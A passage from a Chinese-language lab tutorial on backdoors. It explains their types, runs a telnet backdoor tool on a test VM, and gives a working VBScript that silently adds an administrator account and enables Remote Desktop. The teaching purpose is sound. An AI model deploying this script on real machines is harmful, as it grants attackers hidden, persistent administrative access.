后門-有解無憂

一、實驗目的

理解后門的定義與分類
掌握后門的操作
學會防范后門

二、實驗環境

系統環境：Windows環境，kail環境
軟體工具：telnetDoor，weevely

三、實驗原理

1. 后門的定義

最早的后門是由系統開發人員為自己留下入口而安裝的，而今天，并非開發人員將后門裝入自己設計的程式中，而是大多數攻擊者將后門裝入他人開發和維護的系統中，通過使用這樣的后門，攻擊者可以很輕松地獲得系統的訪問權，進而獲得系統的控制權，為了更加明確，我們給出后門的以下定義:

后門是一個允許攻擊者繞過系統中常規安全控制機制的程式,它按照攻擊者自己的意愿.提供通道

有許多不同型別的后門，但每種都可以繞過系統的常規性安全檢測，使得攻擊者獲得進入系統的入口，例如:一個普通的用戶可能不得不輸入一個口令，這個口令每90天會變換一次，而有了后門，攻擊者可以用一個固定的口令而無需變換

有了植入系統的后門，攻擊者可能根本不需要提供任何口令就可以登錄到計算機，普通用戶可能被迫使用某個特別的加密協議訪問計算機，而攻擊者可以利用后門訪問那些使用完全不同協議的計算機，一旦安裝了后門,攻擊者如何訪問該邏輯單元完全取決于攻擊者自己，

許多人用特洛伊木馬或者簡單地用特洛伊來形容每個后門，這種將術語“后門”和特洛伊木馬混淆的做法是非常錯誤的，應該盡量避免，后門只是簡單地提供通道，而特洛伊木馬將自己偽裝成某個有用的程式，或者干脆將自己隱藏起來，不要將這些概念混為一談，如果一個程式僅提供后門通道，那么它只是一個后門;如果可以偽裝成一個有用的程式，那么它便是特洛伊木馬，當然，有的工具可以同時是后門和特洛伊木馬，但是，只有當攻擊者企圖將后門偽裝成某個有用程式時，它才可以稱為“特洛伊木馬”，我們用特洛伊木馬后門這一不太明確的概念定義這種工具，因為它們偽裝成某個友善的程式同時還提供訪問通道，利用這一完全定義將有助于人們理解后門與木馬的區別

2. 不同型別的后門通道

正如我們在前面定義中看到的一樣,后門的作用在于為攻擊者進入目標計算機提供通道，這個通道可能表現為不同形式，它取決于攻擊者的目的和所使用的特定后門型別，后門能夠為攻擊者提供許多種不同型別的訪問，包括以下幾種:
本地權限的提升:這類后門使得對系統有訪問權的攻擊者突然變換其權限等級成為管理員，有了這些超級用戶權限，攻擊者可以重新設定系統或訪問任何存盤在系統中的檔案
單個命令的遠程執行:利用這種型別的后門，攻擊者可以向目標計算機發送訊息，每次執行一個單獨的命令，后門執行攻擊者的命令并將其輸出回傳給攻擊者

遠程命令列解釋器訪問:正如我們所知的遠程 shell命令，這種型別的后門允許攻擊者通過網路快遞直接地鍵入受害計算機的命令提示，攻擊者可以利用命令列解釋器的所有特征，包括執行一個命令集合的能力撰寫腳本，選擇一些檔案進行操作，遠程 shell比簡單的單命令遠程執行要強大得多,因為它們可以模擬攻擊者對目標計算機的鍵盤有直接訪問權的情形

遠程控制Gul （RemoteControloftheGul):比將命令列解釋器弄混亂更甚，有些后門可以讓攻擊者看到目標計算機的GUI，控制滑鼠的移動，輸入對鍵盤的操作，這些都是通過網路實作的，有了對GUI的遠程控制，攻擊者可以看到受害者對計算機的所有操作，甚至遠程控制GUI

無論后門提供何種型別的訪問，我們都會發現這些方法的重點在于控制，后門使得攻擊者控制計算機，這一切通常是通過網路遠程實作的，有了裝入目標計算機的后門，攻擊者可以利用這種控制搜索計算機中的易感染檔案，改變存盤在系統中的任何資料，改裝計算機，甚至使系統癱瘓，利用后門，攻擊者可以像受害者計算機本身的管理員一樣對其進行同樣的控制，更有甚者，攻擊者可以通過Internet在世界的任何地方實作該控制

攻擊者可以自己植入后門，通過某種普通的開發技術擁有系統的初始入口，例如緩沖區溢位或者典型的系統錯誤配置，一旦攻擊者闖入一個目標計算機，通常要做的第一件事就是裝入后門，從容地回傳到受害系統

另外，攻擊者也可以利用一個自動化的程式安裝后門，例如病毒、蠕蟲和惡意移動代碼，通過它們攻擊者可以探查到通向目標計算機系統的通道并打開一個后門,為攻擊者提供對系統的完全控制

安裝后門的最后一種方法是欺騙受害者自己安裝,攻擊者可能會通過E-mail向受害者發

一個程式或者利用遠程檔案共享能力將這樣的程式寫入受害者的硬碟，如果攻擊者可以利用某個看似不錯的程式騙得用戶的信任，他們可能上當將后門裝入自己的計算機，這些用戶很少會意識到安裝了攻擊者的惡意代碼，他們已經為攻擊者提供了對其計算機的完全控制

后門是在安裝了后門程式的用戶或攻擊者允許的前提下運行的,注意到這一點非常重要，如果一個攻擊者在目標系統中獲得超級用戶權限,攻擊者安裝的后門將以這些強有力的權限運行，類似地，如果攻擊者只能欺騙具有有限權限的低級用戶安裝后門，攻擊者對于該目標計算機而言，也就只有這個用戶所擁有的有限權限，因此，后門為攻擊者提供的對該系統的控制取決于安裝該后門用戶的權限等級

四、實驗步驟

1. 遠程控制工具telnetDoor

在Windows7虛擬機cmd命令控制臺輸入netstat -a命令，觀察埠9527并沒有被開啟，如下如所示：

雙擊運行實驗檔案夾中的telnetDoor.exe 運行程式，將后門植入計算機，如下圖所示：

cmd命令控制臺再次輸入netstat -a命令，可以觀察到埠9527已經開啟即后門成功植入并運行，如下圖所示：

在本地電腦中，打開cmd命令操作界面，輸入telnet 192.168.70.133 9527，如下圖所示：

按下回車，開始遠程控制目標計算機，（可以對目標計算機進行任意命令列操作，例如查看目錄檔案、查看ARP快取表和查看行程串列等等），如下圖所示：

此時我們已經可以遠程操作Windows7，接下來我們撰寫一個后門程式使計算機自動添加一個用戶，方便我們后期隨時可以遠程到Windows7虛擬機上，代碼如下：

dim wshell
set wshell=createobject("wscript.shell")
wshell.run"cmd /c net user backdoor houmen /add",vbhide
wshell.run"cmd /c net localgroup administrators backdoor /add",vbhide
wshell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections",0,"REG_DWORD"
set wshell=nothing
wscript.quit

將上面代碼復制到.txt檔案后保存為system2.vbs可執行檔案，如下圖所示：